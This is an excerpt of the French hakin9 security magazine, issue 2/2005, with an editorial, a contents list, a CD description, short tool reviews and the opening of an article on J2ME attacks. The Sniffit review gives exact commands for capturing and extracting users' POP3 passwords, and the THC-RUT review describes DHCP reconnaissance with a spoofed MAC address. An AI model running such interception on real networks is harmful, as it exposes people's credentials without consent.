Attaques contre les applications Java 2 Micro Edition - index

Transcription

Attaques contre les applications Java 2 Micro Edition - index
Bases
18
Attaques contre les applications
Java 2 Micro Edition
Tomasz Rybicki
Rédacteur en chef : Piotr Sobolewski
Autour de hakin9
N
otre magazine n'est pas seulement quatre-vingt
feuilles de papier enfermées dans une couverture en
couleurs. Ce qui est très important, ce sont les contacts avec les lecteurs – le site Web, le forum, le boutique en
ligne, hakin9.live...
Dans tous les numéros de hakin9, nous cherchons
à vous faciliter l'accès au savoir et aux informations.
Depuis longtemps, sur http://www.hakin9.org, vous pouvez
trouver un article de chaque numéro en version électronique – grâce à cela, vous pouvez voir le magazine avant de
l'acheter. Depuis quelque temps, nous avons décidé de
mettre à votre disposition deux premières pages de chaque
article. Comme ça, vous n'achetez pas chat en poche, et de
plus, si un jour vous cherchiez des informations sur un sujet
qui vous intéresse, vous pourrez facilement vérifier dans
quel numéro du magazine il était présenté et qu'il est celui
ce dont vous aurez besoin.
Depuis quelque temps, vous pouvez acheter hakin9 au
format PDF, autant les numéros spécifiques que la collection
entière. Cela est important surtout pour nos lecteurs hors de
l'Europe (il y en a, même de la Malaisie – salutations !). De
plus, nous sommes en train d'organiser la vente des articles
spécifiques sous forme électronique. Les versions française
et allemande sont les premières, mais les autres versions
vont suivre – visitez régulièrement nos sites Web. Ce seront
surtout les abonnés à hakin9 qui en profiteront. À partir de ce
numéro, chaque personne qui s'abonnera à notre magazine (ou prolongera l'abonnement en cours), obtiendra un CD
contenant les archives complètes de hakin9.
Je parle beaucoup de notre site Web, mais je dois
encore mentionner un petit détail – nous avons publié un
sondage qui montre quels articles du numéro courant vous
plaisent le plus. Cela nous permettra de mieux cibler le
marché, et vous – nos lecteurs – obtiendrez un magazine
de mieux en mieux.
Soyez les bienvenues sur notre site– visitez-nous, votez
et aidez-nous à améliorer hakin9.
Piotr Sobolewski
[email protected]
4
Java 2 Micro Edition, utilisé principalement dans les périphériques portables, est considéré comme un environnement de
programmation assez sûr. Pourtant, il existe des façons de
s'attaquer aux applications mobiles. Ces attaques se basent
surtout sur la négligence des programmeurs et distributeurs
des applications. Analysons les scénarios possibles des attaques contre les mobiles utilisant cette version de Java.
Attaque
28
Rootkit personnel dans GNU/Linux
Mariusz Burdach
La compromission réussie d'un système n'est que le début
du travail de l'intrus. L'accès au compte du superutilisateur
ne servira à rien, si l'administrateur détecte que l'intégrité du système a été violée. L'étape suivante du travail du
pirate consiste à effacer les traces de son passage à l'aide
d'un rootkit, de façon à pouvoir profiter ultérieurement de la
machine-victime. Essayons donc de créer un simple rootkit
pour les systèmes Linux responsable de la dissimulation des
fichiers, répertoires et processus portant un préfixe donné.
34
Menaces liées à l'application
de l’algorithme MD5
Philipp Schwaha, Rene Heinzl
MD5 est sans doute la fonction de hachage la plus courante
– elle est utilisée tant dans les sommes de contrôles simples
que dans les fichiers DRM (Digital Rights Management).
Bien qu'il soit quasi impossible de découvrir une faille de
sécurité dans MD5, des savants chinois en ont trouvé une.
Analysons les menaces dues à cette faille.
AVERTISSEMENT
Les techniques présentées dans les articles ne peuvent
être utilisées qu'au sein des réseaux internes.
La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées.
L'utilisation des techniques présentées peut provoquer
la perte des données !
www.hakin9.org
hakin9 N o 2/2005
Défense
46
SYSLOG Kernel Tunnel
– protection des journaux système
Michał Piotrowski
Si l'intrus prend le contrôle des journaux système, nous
ne serons pas capables de reconstituer ses actions. Les
solutions utilisées à présent n'assurent pas de niveau de
sécurité satisfaisante. Le projet SYSLOG Kernel Tunnel vise
à combler cette lacune par la création d'un mécanisme envoyant, en toute sécurité, les journaux à un système distant,
et étant en même temps difficile à détecter ou désactiver.
56
Reverse engineering – analyse
dynamique du code exécutable ELF
Marek Janiczek
L'analyse dynamique du code exécutable ELF donne plus
de possibilités que l'analyse statique – elle permet d'influencer le fonctionnement d'un programme étudié. Elle n'est pas
trop difficile à effectuer, mais exige un environnement séparé.
Nous analyserons le programme suspect kstatd, retrouvé
dans un système compromis. Outre la description des techniques et des outils nécessaires pour l'analyse, nous présenterons les problèmes classiques qui peuvent avoir lieu lors
des examens.
est publié par Software-Wydawnictwo Sp. z o.o.
Adresse pour correspondance :
Software-Wydawnictwo Sp. z o.o.,
ul. Lewartowskiego 6, 00-190 Varsovie, Pologne
Tél. +48 22 860 18 81, Fax. +48 22 860 17 70
www.hakin9.org [email protected]
Production : Marta Kurpiewska [email protected]
Distribution : Monika Godlewska [email protected]
Rédacteur en chef : Piotr Sobolewski [email protected]
Rédacteur : Roman Polesek [email protected]
Rédactrice adjointe : Paulina Nowak [email protected]
Secrétaire de rédaction : Tomasz Nidecki [email protected]
Composition : Anna Osiecka [email protected]
Projet de couverture : Agnieszka Marchocka
Publicité : [email protected]
Abonnement : [email protected]
Traduction : Grażyna Wełna, Iwona Czarnota
Correction : Jérémie Fromaget, Jean-François K@sparov, Gabriel
Campana, Gilles Gaffet, Sebastien Lecocq
Les personnes intéressées par la coopération sont priées de nous
contacter : [email protected]
Impression : 101 Studio, Firma Tęgi
Distribué par : MLP
Parc d’activités de Chesnes, 55 bd de la Noirée - BP 59 F - 38291
SAINT-QUENTIN-FALLAVIER CEDEX
hakin9 N o 2/2005
70
Quelques méthodes simples pour
détecter les débogueurs
et l'environnement VMware
Mariusz Burdach
L'analyse du code exécutable ELF peut être compliquée – les
programmeurs essaient de concevoir les applications de
façon à rendre impossible de tracer leur fonctionnement. Les
auteurs des programmes tentent aussi de bloquer le fonctionnement de ces œuvres dans les environnements virtuels de
type VMware. Voyons comment le faire.
06 Sur le CD
76 Dans le prochain numéro
Outils
08
10
12
14
16
17
Knock
THC-RUT
SamSpade for Windows
h9.DiskShreder
IPTraf
Sniffit
La rédaction a fait tout son possible pour s’assurer que les logiciels
et les informations publiées par écrit et sur les autres supports sont à jour
et corrects, pourtant elle ne prend pas la responsabilité pour l’utilisation de
toute information et de tout logiciel.
Tous les logos et marques déposés reproduits dans cette publication sont
la propriété de leurs propriétaires respectifs. Ils ont été utilisés uniquement
dans un but informatif.
La rédaction ne fournit pas de support technique direct lié à l’installation
et l’utilisation des logiciels enregistrés sur le CD-ROM distribué avec le
magazine.
Avertissement !
La vente des numéros courants ou anciens de notre magazine
à un prix différent – sans l’accord de l’éditeur – est nuisible
pour la revue et impliquera une responsabilité pénale.
La rédaction utilise le système PAO
Pour créer les diagrammes on a utilisé le programme
Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société
G Data Software Sp. z o.o.
hakin9 est publié dans les suivantes versions nationales : allemande
(Allemagne, Suisse, Autriche, Luxembourg), française (France, Canada,
Belgique, Maroc), espagnole (Espagne, Portugal, Argentine, Mexique),
italienne (Italie), tchèque (République Tcheque, Slovakie), polonaise
(Pologne), anglaise (États-Unis, Canada).
www.hakin9.org
5
•
•
hakin9.live
•
•
Sur le CD
L
e CD joint au magazine contient hakin9.live – une
version bootable de Linux avec des outils liés au
hacking et à la sécurité des systèmes informati-
ques.
Pour commencer à travailler avec hakin9.live, il suffit
de démarrer l'ordinateur sur le CD. Les options supplémentaires liées au démarrage du CD (choix de la langue,
résolution, désactivation de framebuffer, etc.) sont présentées dans la documentation disponible sur le CD – le
fichier index.html.
À présent, le gestionnaire de fenêtres par défaut est fluxbox avec certaines modifications. Il a un aspect agréable,
ses exigences matérielles sont assez modestes, ce qui
est bien pour les ordinateurs pas trop puissants – et selon
certains, il est plus l33t. En même temps, il est possible
de lancer l'environnement graphique très convivial xfce4
en version 4.2rc3.
Tutoriaux et documentation
Dans la nouvelle édition, nous avons changé le système
de base. La version 2.4 h9l est basée sur Aurox Live 10.1.
Le système fonctionne sous le contrôle du noyau 2.6.7, la
détection des périphériques et la configuration du réseau
ont été améliorées. Nous avons aussi uniformisé les
menu – tous les programmes ont été divisés en catégories. Grâce à cette solution, l'accès aux applications est
plus intuitif.
Mais la nouveauté la plus importante – vous le demandiez depuis quelque temps – est la possibilité d'installer
hakin9.live sur le disque dur. L'opération est très facile – il
suffit, dans le terminal, de lancer le programme h9_install
(les détails sont dans le fichier index.html).
Dans la version actuelle de hakin9.live de nouveaux
programmes ont été joints :
La documentation comprend aussi, outre les conseils
d'utilisation et de gestion de hakin9.live, les tutoriaux
avec les exercices pratiques préparés par la rédaction
du magazine. Les tutoriaux sont conçus pour être utilisés
sur hakin9.live. Grâce à cette solution, vous évitez tous
les problèmes relatifs aux différentes versions des compilateurs, à la localisation des fichiers de configuration ou
autres options nécessaires pour démarrer le programme
dans un environnement donné.
Outre les tutoriaux du numéro précédent, la version
actuelle de hakin9.live en contient deux nouveaux.
Le premier présente comment effectuer une analyse
dynamique d'un fichier ELF suspect à l'aide du reverse
engineering. Nous allons apprendre comment, sous contrôle, lancer le programme et, pas à pas, analyser son
fonctionnement.
Le deuxième tutorial concerne la protection des journaux système dans Linux. Ce document présente la mise
en œuvre du projet SYSLOG Kernel Tunnel, décrit dans
l'article de Michał Piotrowski. n
Figure 1. hakin9.live – tous les outils nécessaires sur un CD
Figure 2. Nouvel aspect, nouveau menu
Quoi de neuf
6
Bandwidth Management Tools – un outil très puissant
servant à surveiller et gérer la bande passante,
Wellenreiter – le scanneur/sniffeur graphique (GTK)
des réseaux sans fil,
de nouveaux jeux pour console, très utiles dans les
moments de repos,
un kit d'outils nécessaires pour le reverse engineering
sous Linux.
www.hakin9.org
hakin9 N o 2/2005
Knock
Outils
Système : Linux, UNIX
Licence : GPL
But : permettre les connexions SSH avec les serveurs qui appliquent une politique de sécurité restrictive
Page d'accueil : http://www.zeroflux.org/knock/
Knock est un outil fonctionnant en architecture client-serveur permettant de
profiter en toute sécurité des connexions SSH dans les cas où l'accès à ce
service est indésirable.
Démarrage rapide : Un pare-feu tournant sous Linux
que nous administrons applique une politique de sécurité
très restrictive. Bien que le démon sshd fonctionne, notre
pare-feu ne permet pas d'utiliser le service SSH : iptables
rejette toute tentative de connexion sur le port 22. Pourtant l'administrateur doit avoir la possibilité d'ouvrir une
session distante sur une telle machine pour, par exemple,
mettre à jour des programmes. Comment le faire et ne
pas réduire le niveau de sécurité du pare-feu ?
C'est le paquet knock qui vient nous aider. Il exploite le
mécanisme ressemblant à une frappe à la porte – il ouvre
le port 22 (SSH) pour l'adresse IP à partir de laquelle
arrivera la séquence déterminée de paquets TCP. Pour
que le programme fonctionne correctement, le pare-feu
linuxien iptables est nécessaire.
Après l'installation du démon du service (knockd) sur
le serveur, il faut procéder à sa configuration ; le fichier
de configuration par défaut est /etc/knockd.conf. La
première option de ce fichier est le champ options – là,
nous pouvons définir par exemple un fichier journal (log)
ou forcer le programme à utiliser le démon syslogd. De
plus, nous pouvons déterminer le temps dans lequel le
client doit envoyer la séquence de paquets (option Seq _
Timeout), la commande d'exécution après la réception de
certains paquets ou les drapeaux des fichiers TCP qui
seront considérés comme corrects (option TCPFlags).
Le deuxième champ (openSSH) détermine la séquence
des ports (sequence) sur lesquels doivent arriver les
paquets ouvrant l'accès au port SSH (par défaut 9000, 8000,
7000). Ensuite, nous pouvons définir les drapeaux TCP
nécessaires pour les paquets et préciser la règle iptables
ouvrant le port SSH pour l'adresse IP à partir de laquelle
arrivera le jeu de paquets exigé. Le troisième champ (closeSSH) permet de définir la séquence des paquets TCP
fermant la connexion, leurs drapeaux et de préciser la règle
iptables qui verrouille la connexion avec le démon SSH.
Après l'enregistrement du fichier de configuration,
nous pouvons lancer knockd. Pour ce faire, nous tapons
la commande :
possible de la modifier). Maintenant, il suffit de lancer sur
une machine distante le programme-client (knock) :
$ knock notre.pare-feu.com 9000 8000 7000
Cette commande enverra trois paquets (aux ports déterminés) à l'hôte notre.pare-feu.com. Pour vérifier le fonctionnement du démon, nous nous connectons au moyen
du client SSH au port 22 de l'hôte notre.pare-feu.com.
Pour bloquer de nouveau les connexions SSH, il faut,
à l'aide du programme knock, envoyer la séquence de
paquets de fermeture préalablement défini.
Autres qualités : Bien que le démon knockd ne fonctionne que sous les système de la famille *NIX, les
auteurs ont créé le client knock pour Windows. Dans le
fichier de configuration, il est possible de définir la fermeture automatique du port SSH après un certain temps
– c'est une option très utile pour ceux qui oublient parfois
que la session SSH a été ouverte.
Défauts : La configuration de knockd n'est pas intuitive.
La documentation ne fournit pas la description détaillée
de l'utilisation du client knock. La présence d'iptables est
indispensable.
Roman Polesek
��������
��
��������
� ����
������
��
�������
������������������������
����
�����
������
������
�������
���
��������
������
����������������������������
�������
# knockd –daemon -i eth0
Elle démarre knockd en mode démon écoutant sur l'interface réseau eth0 (c'est une option par défaut – il est
8
Figure 1. Schéma du fonctionnement du programme
knock
www.hakin9.org
hakin9 N o 2/2005
THC-RUT
Outils
Système : Unix
Licence : free for any non-commercial use
But : analyse des réseaux locaux
Page d'accueil : http://www.thc.org/thc-rut
THC-RUT est un outil servant à analyser les réseaux, surtout locaux.
Démarrage rapide : L'administrateur doit avoir des
informations sur les ordinateurs fonctionnant dans le
réseau. En général, il utilise le scan de type ping (par
exemple à l'aide de Nmap) qui consiste à envoyer les
paquets ICMP (Echo Request, Timestamp Request,
Netmask Request) et TCP ACK, TCP SYN ou UDP.
Mais cette solution a certains défauts. L'un des défauts
est la rapidité du fonctionnement. Outre cela, les
informations sur les utilisateurs qui bloquent certains
types de paquets sont inaccessibles (p. ex. ICMP Echo
Request). D'habitude, ce type de scan laisse des traces
dans les journaux.
Pour éviter ces problèmes, nous pouvons nous
servir du programme THC-RUT. Il permet le scannage ARP (Address Resolution Protocol) d'une
plage d'adresse déterminée. Le programme envoie
à l'adresse physique de diffusion générale (en cas
d'Ethernet c'est FF:FF:FF:FF:FF:FF) les requêtes
ARP-Request concernant les adresses IP spécifi ques
d'une plage d'adresses scannée. Si la machine en
question fonctionne dans le réseau, nous obtiendrons
la réponse sous forme de paquet ARP-Reply avec
l'adresse MAC de cette station. Le scannage ARP est
rapide, évite les blocages dressés par les utilisateurs
et, en général, ne laisse pas de traces dans les journaux. Évidemment, nous ne pouvons le faire que sur
un réseau local.
La syntaxe de la commande se présente ainsi :
scan ICMP à l'aide des paquets de type Echo Request,
Address Mask Request et MCAST Router Solicitation
Request (option icmp).
Cet outil peut s'avérer utile aussi pour les pirates car
il permet d'envoyer des paquets DHCP-Request avec
une fausse adresse MAC – bien sûr, dans le réseau, le
serveur DHCP doit être présent. Pour cela, il faut lancer
THC-RUT de la manière suivante :
# thcrut dhcp
En résultat, nous pouvons connaître plusieurs détails
concernant le réseau examiné : la classe d'adresses utilisée, le masque, l'adresse de diffusion générale, l'adresse
IP du routeur, les adresses des serveurs DNS et le nom
du domaine. Toutes ces informations entre les mains d'un
pirate ingénieux peuvent être dangereuses pour la sécurité de notre réseau.
Autres qualités : Le programme offre aussi la fonction
de reconnaissance distante du système d'exploitation
des ordinateurs spécifiques (fingerprinting) – c'est l'option discover qui y sert. Évidemment, la précision des
tests exécutés est inférieure à celle offerte par Nmap,
mais en revanche, le programme est plus rapide.
Défauts : THC-RUT peut être un peu plus lent que
Nmap pendant le scan de petits réseaux, mais dans
le cas de grands réseaux LAN, il est beaucoup plus
rapide.
Michał Szymański
# thcrut [option] xx.xx.xx.xx-yy.yy.yy.yy
où xx.xx.xx.xx et yy.yy.yy.yy sont les adresses limites de
la plage d'adresses IP qui nous intéresse.
Admettons que nous voulons scanner à partir de
l'ordinateur 10.10.10.193 une partie de notre réseau
local, c'est-à-dire les adresses de la plage de 10.10.10.1
à 10.10.10.55. Pour cela, avec l'utilisateur root, il faut
exécuter la commande suivante :
# thcrut arp 10.10.10.1-10.10.10.55
En résultat, nous obtenons la liste des ordinateurs
présents dans notre réseau avec les informations sur
l'adresse IP, l'adresse MAC et le fabricant de la carte
réseau.
Ce ne sont pas toutes les possibilités offertes par
THC-RUT. Outre la méthode ARP, il permet aussi le
10
Figure 1. THC-RUT au boulot
www.hakin9.org
hakin9 N o 2/2005
Sam Spade for Windows
Outils
Système : Windows
Licence : Freeware
But : Analyse des en-têtes du courrier électronique et recherche des informations
Page d'accueil : http://www.samspade.org/ssw/
Sam Spade for Windows est une boîte à outils performante intégrant les outils
comme whois, dig, traceroute, enrichie de fonctions d'analyse des en-têtes du
courrier électronique, servant avant tout à rechercher les informations sur les
expéditeurs et à préparer les rapports sur les abus.
Démarrage rapide : Nous avons reçu une lettre contenant une proposition alléchante de la part de M. Dr Prince
Robinson. Dr Robinson nous informe qu'il partagera avec
nous sa fortune si nous l'aidons à la récupérer. Nous
obtenons une quantité de propositions de ce type et elles
commencent à nous irriter – nous avons donc décidé d'en
savoir plus sur l'imposteur et de porter plainte à notre FAI
pour bloquer cette activité.
Pour nous faciliter cette tâche et ne pas analyser
manuellement les en-têtes de la lettre reçue (cf. l'article
Tracer l'expéditeur d'un e-mail du hakin9 5/2004), nous
allons utiliser le programme Sam Spade for Windows.
Après avoir installé et configuré le programme (Edit ->
Options – il faut, avant tout, indiquer le serveur DNS
utilisé), nous copions les en-têtes complets de notre
programme de courrier et nous utilisons l'option Edit ->
Paste dans le programme Sam Spade. L'outil analysera
automatiquement les en-têtes et indiquera les plus
importants.
Au-dessous de l'un des en-têtes analysés, nous
voyons un commentaire ajouté automatiquement par
Sam Spade : poczta.software.com.pl received this from
someone claiming to be rndf-143-22.telkomadsl.co.za.
Dans l'en-tête, nous remarquons aussi l'adresse IP :
165.165.143.22. Nous cliquons sur cette adresse avec
Figure 1. L'analyse de la lettre de Dr Prince Robinson
dans le programme Sam Spade for Windows
12
le bouton droit de la souris et sélectionnons l'option
Copy to clipboard, et ensuite, nous la collons dans le
champ disponible dans le coin supérieur gauche du
programme. Ensuite, nous cliquons sur le symbole de
la flèche à côté de ce champ. Sam Spade télécharge le
bloc d'informations à partir du serveur whois. Dans ce
bloc, nous trouvons la notation suivante : Please contact
[email protected] for abuse queries.
Lors de l'analyse des en-têtes Sam Spade ouvrira
une boîte de dialogue permettant d'envoyer la lettre
à l'adresse appropriée. Elle comprend (dans le contenu
de la lettre) les en-têtes que nous avons analysés. Le
sujet de l'e-mail commence par la sigle UBE qui signifi e
Unsolicited Bulk E-mail (le terme définissant le spam).
Maintenant, il suffi t de copier l'adresse de l'abuse
trouvée et nous pouvons immédiatement (à moins que
nous ayons déterminé dans les options de Sam Spade
l'adresse de notre serveur de messagerie) envoyer le
rapport.
Autres qualités :
• Le programme offre un mécanisme qui vérifie
si le serveur de messagerie permet le relayage
(cf. l'article Comprendre l'envoi des spams du hakin9
2/2004).
• L'outil traceroute intégré dans Sam Spade offre la
présentation graphique de la trace du paquet et des
retards dans les nœuds spécifiques du réseau.
Défauts : La gestion du programme n'est pas toujours
intuitive. Bien que Sam Spade contienne les mécanismes de recherche, par exemple, du serveur whois
approprié pour une plage IP, les requêtes sont parfois
adressées aux serveurs inadéquats. L'utilisateur doit
donc choisir le serveur manuellement. Le programme
n'est pas actualisé depuis plusieurs années et certaines options, p. ex. le téléchargement des informations
à partir des archives de groupes de discussion ou la
vérification d'IP sur les serveurs RBL (cf. l'article Protection contre le spam sur le serveur du hakin9 2/2004),
ne fonctionneront pas.
Tomasz Nidecki
www.hakin9.org
hakin9 N o 2/2005
h9.DiskShredder
Outils
Système : indépendant du système d'exploitation, le programme est lancé
à partir d'un CD ou une disquette
Licence : commerciale
But : nettoyage sûr des disques durs
Page d'accueil : http://www.haking.pl/fr/index.php?page=programs
Le premier programme de série h9 créée par l'équipe hakin9.lab – il sert
à supprimer le contenu d'un disque dur par le remplacement multiple des
données.
Démarrage rapide : Admettons que nous soyons
administrateurs dans une grande entreprise qui dans
l'une de ses filiales veut remplacer les vieux ordinateurs. Les vieux ordinateurs seront offerts aux écoles
à la campagne.
Mais certains ordinateurs contiennent des données
confidentielles qui ne doivent pas sortir de l'entreprise.
Nous devons les supprimer d'une façon sûre et efficace.
Nous pouvons :
•
•
•
confier les disques à une société spéciale,
nettoyer les disques à l'aide d'un programme approprié qui permet le remplacement multiple des données,
laisser les disques dans l'entreprise et les détruire
physiquement.
En ce qui concerne l'infaillibilité, les deux premières solutions sont équivalentes. La première permet
à l'administrateur de gagner du temps, mais elle est
chère et de plus, les disques avec les données sont
fournis à un tiers. La solution la plus efficace est la
troisième.
Mais le plus raisonnable est d'en arriver à un compromis – nous gardons les disques avec les données les
plus confidentielles et nettoyons les autres à l'aide d'un
programme spécialement conçu à cet effet, par exemple
h9.DiskShredder. Remplacer dix fois les données sur les
disques par des données aléatoires semble une stratégie
raisonnable, mais au cas où la sécurité des données est
importante, il est recommandé de répéter cette opération
au moins trente fois.
Avant d'utiliser le programme h9.DiskShredder il faut
créer une disquette de démarrage (ou un CD – il suffit
d'enregistrer le fichier comme image ISO) avec le programme. L'image de la disquette est enregistrée dans
le fichier diskshredder.img. Dans le système DOS, nous
pouvons créer la disquette au moyen du programme
rawrite.exe :
rawrite diskshredder.img
Dans le cas de Linux, il est nécessaire d'utiliser le programme dd :
$ dd if=diskshredder.img of=/dev/fd0,
Ensuite, nous lançons les ordinateurs avec les disques
à nettoyer à partir des disquettes préparées.
Après l'insertion de la disquette, la liste contenant
toutes les partitions et disques détectés s'affiche.
Nous sélectionnons dans la liste les disques (ou partitions) à effacer. Pour chaque disque sélectionné, il est
nécessaire de choisir la méthode de suppression des
données. Maintenant, il suffit d'activer la suppression
et d'attendre la fin de l'opération. En fonction de la
méthode de suppression, de la taille et de la vitesse
des disques, cela peut durer de quelques heures jusqu'à quelques dizaines d'heures.
Une fois la suppression terminée, le programme
affi che les rapports sur le résultat de l'opération
et les erreurs éventuelles qui sont enregistrés sur
la disquette dans le fi chier shredder.rep. Le rapport
contient les informations sur le disque effacé (p. ex.
son type, numéro de série, volume), la méthode de
suppression et le nombre d'erreurs produites lors de la
suppression (les informations détaillées sont enregistrées dans le fi chier shredder.err).
Jacek Sokulski
Figure 1. Écran de démarrage su programme
h9.DiskShredder 1.0
14
www.hakin9.org
hakin9 N o 2/2005
IPTraf
Outils
Système : Linux
Licence : GPL
But : outil de monitoring réseau
Page d'accueil : http://cebu.mozcom.com/riker/iptraf/
IPTraf est un logiciel de monitoring réseau avancé basé sur l'interface
ncurses.
Démarrage rapide : Imaginons que nous soyons administrateur d'un petit réseau à bande passante limitée.
Nous observons des problèmes avec le débit de la
bande download. Nous soupçonnons alors que l'un des
utilisateurs – probablement par le biais de P2P – sature
la ligne aux autres utilisateurs. Mais aucun utilisateur ne
veut reconnaître sa responsabilité. Il faut donc identifier
le responsable et, éventuellement, lui bloquer l'accès au
réseau d'échange de fichiers.
Pour ce faire, nous avons besoin d'un outil – un sniffeur de paquets – surveillant tout le trafic passant par le
serveur et ses interfaces réseau qui informent sur les
adresses IP sources et cibles et les ports utilisés. IPTraf
est justement ce que nous cherchons. Son interface est
basée sur la bibliothèque ncurses – elle est conviviale
et assez intuitive.
On admet que le serveur a deux interfaces réseau :
eth0 du côté local et eth1 du côté Internet. Ce qui nous
intéresse pendant notre enquête, c'est l'interface en
charge de la communication avec le réseau LAN – nous
allons suivre le trafic arrivant à l'un des ordinateurs derrière le masquage d'adresse. Cet outil est disponible
par défaut dans la plupart des distributions Linux – nous
lançons le programme (en tant que root) avec la commande iptraf.
À partir des options disponibles dans le menu, nous
sélectionnons la première option – IP traffi c monitor,
et forçons le programme à surveiller le trafi c sur l'interface eth0. Ce mode surveille les paquets entrants
et sortants sur notre serveur. Il permet aussi d'affi cher
toutes les connexions établies : l'adresse IP source
et cible et l'adresse mail. Outre ces informations,
il présente aussi les statistiques de la quantité de
données transférées – en paquets TCP et en octets.
Sans doute, serons-nous très intéressés par les connexions qui génèrent le plus grand trafi c. Pour nous
faciliter cette tâche, nous pouvons les trier suivant la
taille du transfert (touche s). Ainsi, nous retrouverons
sans problèmes l'adresse IP locale qui génère le trafi c
le plus important. Si l'adresse n'est pas suffisante,
dans le menu Confi guration..., nous pouvons forcer le
programme à affi cher les adresses MAC des interfaces réseau. C'est à l'administrateur de déterminer quel
réseau P2P est utilisé par l'utilisateur gourmand en
ressources – l'analyse des connexions aux ports peut
s'avérer ici très utile.
IPTraf permet, bien sûr, d'enregistrer les données
collectées – nous pourrons ainsi présenter à l'intéressé
les preuves de son activité préjudiciable au réseau.
Par défaut, toutes les informations enregistrées par le
programme sont sauvegardées dans le fichier /var/log/
iptraf/iptraf.log.
Autres qualités : Le programme est très avancé.
Il permet de créer des propres filtres (c'est-à-dire
enregistrer le trafi c dans les intervalles d'adresses IP
déterminées ou sur les ports donnés), surveiller les
types de paquets et de protocoles voulus (TCP, UDP,
et même non-IP).
Il permet aussi de définir les hôtes à analyser
et d'affecter les noms symboliques aux noms des ports
et à leurs intervalles – cela peut être utile pour démasquer les utilisateurs qui abusent de la bande passante.
Bien qu'IPTraf travaille par défaut en mode interactif,
il est possible de lui passer les commandes dans la
ligne de commande. Cela est utile lorsqu'on utilise le
programme en tant que démon enregistrant le trafi c qui
nous intéresse.
Défauts : Le programme est considéré par son auteur
comme complet et depuis 2002 n'est plus développé.
Il est donc peu probable qu'une nouvelle version sera
publiée. Il ne travaille que sous Linux.
Roman Polesek
Figure 1. Monitoring du trafic réseau
16
www.hakin9.org
hakin9 N o 2/2005
Sniffit
Système : Linux, SunOS, Solaris, FreeBSD, IRIX
Licence : GPL
But : sniffing de paquets
Page d'accueil : http://reptile.rug.ac.be/~coder/sniffit/
sniffit.html
Sniffit est un simple sniffeur de paquets, fonctionnant
autant en mode batch qu'en mode interactif.
Démarrage rapide : Admettons que nous soyons administrateur d'un serveur de messagerie d'un petit réseau
du quartier auquel nous voulons introduire une nouvelle
fonctionnalité : la possibilité d'utiliser le protocole APOP
et l'autorisation CRAM-MD5. Néanmoins, pour ces deux
mécanismes, il est nécessaire que les mots de passe
soient stockés sous forme ouverte. Le serveur a déjà quelques centaines d'utilisateurs, mais leurs mots de passe ne
sont pas enregistrés car ils sont sauvegardés en tant que
sommes de contrôle dans le fichier /etc/shadow.
Pour résoudre ce problème, nous pouvons utiliser
un sniffeur afin d'intercepter les mots de passe des utilisateurs pendant qu'ils établissent les sessions POP3.
Nous avons besoin d'un outil qui enregistrera les mots
de passe sous forme de fichiers lisibles (pour que leur
transfert dans les fichiers de configuration du serveur
de messagerie ne nous pose pas de problèmes). C'est
pourquoi, nous renoncerons aux outils de type tcpdump
au profit du logiciel Sniffit.
Nous devons sélectionner les paramètres de travail
appropriés de Sniffit. Attendu que nous allons écouter les
mots de passe POP3, nous choisissons le protocole TCP
à l'aide de l'option -P TCP. Ce qui nous intéresse, c'est
le trafic à destination du port 110, c'est pourquoi l'option
suivante sera utilisée : -p 110. De plus nous voulons enregistrer les connexions du réseau local, pour ce faire nous
choisissons l'interface employée pour les connexions
par les utilisateurs locaux (p.ex. eth0) : -F eth0. Puisque
nous n'avons pas besoin d'enregistrer les mots de passe
des utilisateurs exploitant les serveurs de messagerie
externes, nous choisissons l'IP cible de notre serveur de
messagerie : -t 192.168.1.1.
Sniffit est donc lancé de la façon suivante :
# sniffit -P TCP -p 110 -F eth0 -t192.168.1.1
Nous obtenons un message indiquant que le programme
fonctionne. Mais le résultat ne sera pas affiché sur
l'écran car Sniffit enregistre les données interceptées
dans les fichiers. Essayons de vérifier notre courrier sur
le serveur, ensuite d'interrompre le fonctionnement du
programme, et consulter le résultat.
Après l'interruption du fonctionnement de Sniffit, le
répertoire dans lequel le programme a été lancé contient les fichiers avec les sessions POP3. Les noms
des fichiers ont la forme IPsource.port-IPcible.port, par
exemple : 192.168.1.3.1498-192.168.1.1.110. Consultons le
contenu de l'un des fichiers :
# cat 192.168.1.3.1498-192.168.1.1.110
USER admin
PASS mon_mot_de_passe
STAT
QUIT
Comme vous le constatez, le fichier présente une session
POP3 sous forme lisible, contenant le nom et le mot de
passe. Maintenant nous sommes sûrs que Sniffit nous
fournira des informations exploitables, nous pouvons
donc le lancer en nous servant de l'outil screen ou nohup,
en tâche de fond :
# nohup sniffit -P TCP -p 110 -F eth0 -t192.168.1.1&
et ensuite, vérifier les résultats quelques heures plus tard.
Le répertoire contenant beaucoup de fichiers, nous
pouvons utiliser l'outil grep ensemble avec head pour
retrouver les informations qui nous intéressent. Nous
utiliserons l'option grep : avec les options suivantes : -A 1
écrit une ligne suivante après la ligne retrouvée, -h – le
nom du fichier ne sera pas donné. Si nous utiliserons le
filtrage par head avec l'option -n 2, seulement deux lignes
du premier fichier trouvé seront écrites sur la console (le
nom et le mot de passe peuvent se répéter dans plusieurs
fichiers). Ainsi, pour intercepter le mot de passe de l'utilisateur luser, il suffit de taper :
# grep -A 1 -h "USER luser" * | head -n 2
USER luser
PASS mot_de_passe_de_luser
Figure 1. Sniffit travaillant en mode interactif
hakin9 N o 2/2005
Autres qualités : Sniffit peut être utilisé en mode interactif et utiliser son propre fichier de configuration.
Défauts : L'outil n'est pas mis à jour depuis quelques
années. Bien qu'il reste toujours très efficace, nous ne
pouvons espérer une nouvelle version.
Tomasz Nidecki
www.hakin9.org
17
Attaques contre les
applications Java 2 Micro
Edition
Tomasz Rybicki
Java 2 Micro Edition, utilisé
notamment dans les périphériques mobiles, est considéré
comme un environnement de
développement relativement sûr.
Pourtant, il existe des moyens
permettant d'attaquer les applications pour mobiles. Ceux-ci
profitent, en grande partie, de
l'insouciance ou du manque
d'attention de la part des
développeurs et des distributeurs
d'applications.
Bases
J
18
2ME (Java 2 Micro Edition de la société
Sun Microsystems) gagne de plus en
plus en popularité. Pratiquement tous
les fabricants des téléphones mobiles offrent
des outils permettant le téléchargement,
l'installation et le démarrage des applications
écrites en cette version de Java – cela concerne, entre autres, les jeux et les utilitaires
simples. La présence de J2ME dans les périphériques de type PDA (en anglais Portable
Digital Assistant) n'a rien de nouveau. Les
développeurs créent donc des applications
de plus en plus sophistiquées ayant pour but
de traiter des quantités de données de plus en
plus importantes (comme la gestion électronique des comptes bancaires). Tout cela fait
